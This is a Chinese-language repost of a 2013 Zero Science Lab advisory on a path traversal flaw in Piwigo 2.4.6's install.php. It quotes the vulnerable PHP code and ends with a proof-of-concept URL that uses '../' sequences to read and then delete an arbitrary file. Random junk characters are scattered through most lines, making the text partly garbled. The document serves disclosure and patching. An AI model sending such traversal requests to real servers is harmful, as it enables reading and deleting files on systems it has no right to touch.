Piwigo是用PHP编写的相册脚本。6 C" _7 L# Z$ c6 K; q! M8 ~
- a0 `6 U: {0 b! j! d' @Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
% }$ H3 q8 ~ i9 w6 D( V====================================================================9 z# H5 s, N: l: C7 s& J6 F
/install.php:
/ {% ^+ p4 {! k6 v$ x-------------/ @/ k! n+ B! |/ P& P- `
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
4 s6 A+ ~4 ~, c% N" T/ \+ k. h114: {
7 O- o/ T. T" U" ]5 ?& j115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
( B' m: Q0 a$ i! L K116: header('Cache-Control: no-cache, must-revalidate');
; O/ |* _' J ?8 R D1 R9 j) ~117: header('Pragma: no-cache');
9 B4 u6 q1 I2 z8 n! a* y+ t118: header('Content-Disposition: attachment; filename="database.inc.php"');
( R% g3 @, m h$ L9 j* U! Y119: header('Content-Transfer-Encoding: binary');( q7 t3 L Y2 l9 P' U5 t. D0 D
120: header('Content-Length: '.filesize($filename));% b: `# N6 U& H2 k: B
121: echo file_get_contents($filename);
* R( f1 ~6 }# x( {8 I122: unlink($filename);
3 t8 G8 x/ a6 N, W) d123: exit();
0 v4 A5 r$ E/ ?- w- Q$ r124: }
9 G* o) \. X9 s====================================================================
2 F8 ~* q; ?7 r8 v% {: H- l) m
6 o5 Q+ a* l9 g; }) e; m: I7 _7 ]. F% qTested on: Microsoft Windows 7 Ultimate SP1 (EN)
% Q6 W' R) {+ R1 _4 ?0 F3 e. h Apache 2.4.2 (Win32)4 m0 V4 v+ k+ v, |
PHP 5.4.4" t9 f- d$ z6 y
MySQL 5.5.25a4 j! C) |( P) E+ Z# w9 |. |
9 v7 v# {* X1 O# G' P
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
' ^/ _9 E0 m/ [ c: n @zeroscience
6 {/ ]- Q0 E y9 W6 V$ x" S . o; f$ v' {; w, f5 P/ j$ P+ ]
Advisory ID: ZSL-2013-5127
- B9 z- s2 C+ u0 A: S/ a( nAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php6 q6 |! R3 ]8 J+ k) l0 ]
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
# y1 x% [ }) d# o# o1 x9 \3 ` 3 l# ]2 }1 n+ H! k. G! N; _
15.02.20132 W( `! I4 U4 G- y! ^1 R
# q s) t8 K- y5 N" N--8 o7 e C2 y. v4 n: Q( Z
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt$ d9 B, i% V& ^3 c3 ?% c
" n- @! ]/ X7 f |